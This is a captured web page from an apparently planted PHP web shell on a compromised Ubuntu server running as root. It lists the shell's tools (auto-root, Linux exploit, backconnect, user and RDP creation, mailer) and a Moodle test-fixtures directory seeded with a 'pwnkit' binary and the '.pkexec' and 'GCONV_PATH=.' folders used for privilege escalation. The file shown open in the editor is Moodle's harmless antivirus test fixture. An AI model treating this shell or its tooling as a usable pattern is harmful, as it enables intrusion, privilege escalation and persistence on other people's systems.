Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
component
[ DIR ]
drwxrwxrwx
langtest
[ DIR ]
drwxrwxrwx
messageinbound
[ DIR ]
drwxrwxrwx
update_validator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
component_class_callback_examp...
1.84
KB
-rwxrwxrwx
deprecated_analyser.php
4.34
KB
-rwxrwxrwx
empty.txt
32
B
-rwxrwxrwx
event_fixtures.php
9.42
KB
-rwxrwxrwx
event_mod_badfixtures.php
1.12
KB
-rwxrwxrwx
event_mod_fixtures.php
1.11
KB
-rwxrwxrwx
events.php
1.73
KB
-rwxrwxrwx
gd-logo.png
2.39
KB
-rwxrwxrwx
google_gmail.ics
576
B
-rwxrwxrwx
max_input_vars.php
8.25
KB
-rwxrwxrwx
ms_outlook_2010.ics
1.19
KB
-rwxrwxrwx
namespaced_form.php
1.52
KB
-rwxrwxrwx
osx_yosemite.ics
763
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
readonlyform.php
2.17
KB
-rwxrwxrwx
repeated_events.ics
825
B
-rwxrwxrwx
securetestpage.php
1.25
KB
-rwxrwxrwx
stats_events.php
1.65
KB
-rwxrwxrwx
statslib-test00.xml
1.02
KB
-rwxrwxrwx
statslib-test01.xml
3.29
KB
-rwxrwxrwx
statslib-test02.xml
3.3
KB
-rwxrwxrwx
statslib-test03.xml
4.27
KB
-rwxrwxrwx
statslib-test04.xml
4.45
KB
-rwxrwxrwx
statslib-test05.xml
4.32
KB
-rwxrwxrwx
statslib-test06.xml
4.5
KB
-rwxrwxrwx
statslib-test07.xml
4.72
KB
-rwxrwxrwx
statslib-test08.xml
3.73
KB
-rwxrwxrwx
statslib-test09.xml
3.62
KB
-rwxrwxrwx
statslib-test10.xml
3
KB
-rwxrwxrwx
tabfile.csv
344
B
-rwxrwxrwx
task_fixtures.php
1.61
KB
-rwxrwxrwx
test_external_function_throwab...
2.7
KB
-rwxrwxrwx
test_renderer_factory.php
5.59
KB
-rwxrwxrwx
testable_antivirus.php
2.76
KB
-rwxrwxrwx
testable_core_h5p.php
3.5
KB
-rwxrwxrwx
testable_core_media_player.php
2.85
KB
-rwxrwxrwx
testable_core_media_player_nat...
2.66
KB
-rwxrwxrwx
testable_flexible_table.php
1.41
KB
-rwxrwxrwx
testable_plugin_manager.php
4
KB
-rwxrwxrwx
testable_plugininfo_base.php
1.73
KB
-rwxrwxrwx
testable_update_api.php
7
KB
-rwxrwxrwx
testable_update_checker.php
6.01
KB
-rwxrwxrwx
testable_update_code_manager.p...
1.93
KB
-rwxrwxrwx
testable_update_validator.php
1.69
KB
-rwxrwxrwx
timezonewindows.xml
42.83
KB
-rwxrwxrwx
upload_users.csv
191
B
-rwxrwxrwx
upload_users_cohorts.csv
276
B
-rwxrwxrwx
upload_users_emailstop.csv
154
B
-rwxrwxrwx
upload_users_enrol_date_period...
226
B
-rwxrwxrwx
upload_users_profile.csv
194
B
-rwxrwxrwx
upload_users_themes.csv
311
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : testable_antivirus.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Provides \antivirus_testable class. * * @package core * @subpackage fixtures * @category test * @copyright 2016 Ruslan Kabalin, Lancaster University. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace antivirus_testable; defined('MOODLE_INTERNAL') || die(); /** * Testable antivirus plugin. * * @copyright 2016 Ruslan Kabalin, Lancaster University. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class scanner extends \core\antivirus\scanner { /** * Are the necessary antivirus settings configured? * * @return bool True if all necessary config settings been entered */ public function is_configured() { return true; } /** * Scan file. * * Provides fake responses for testing \core\antivirus\manager. * * @param string $file Full path to the file. * @param string $filename For mocking purposes, filename defines expected response. * @return int Scanning result constant. */ public function scan_file($file, $filename) { switch ($filename) { case 'OK': return self::SCAN_RESULT_OK; case 'FOUND': return self::SCAN_RESULT_FOUND; case 'ERROR': return self::SCAN_RESULT_ERROR; default: debugging('$filename should be either OK, FOUND or ERROR.'); break; } } /** * Scan data. * * Provides fake responses for testing \core\antivirus\manager. * * @param string $data The variable containing the data to scan. * @return int Scanning result constant. */ public function scan_data($data) { switch ($data) { case 'OK': return self::SCAN_RESULT_OK; case 'FOUND': return self::SCAN_RESULT_FOUND; case 'ERROR': return self::SCAN_RESULT_ERROR; default: debugging('$data should be either OK, FOUND or ERROR.'); break; } } }
Close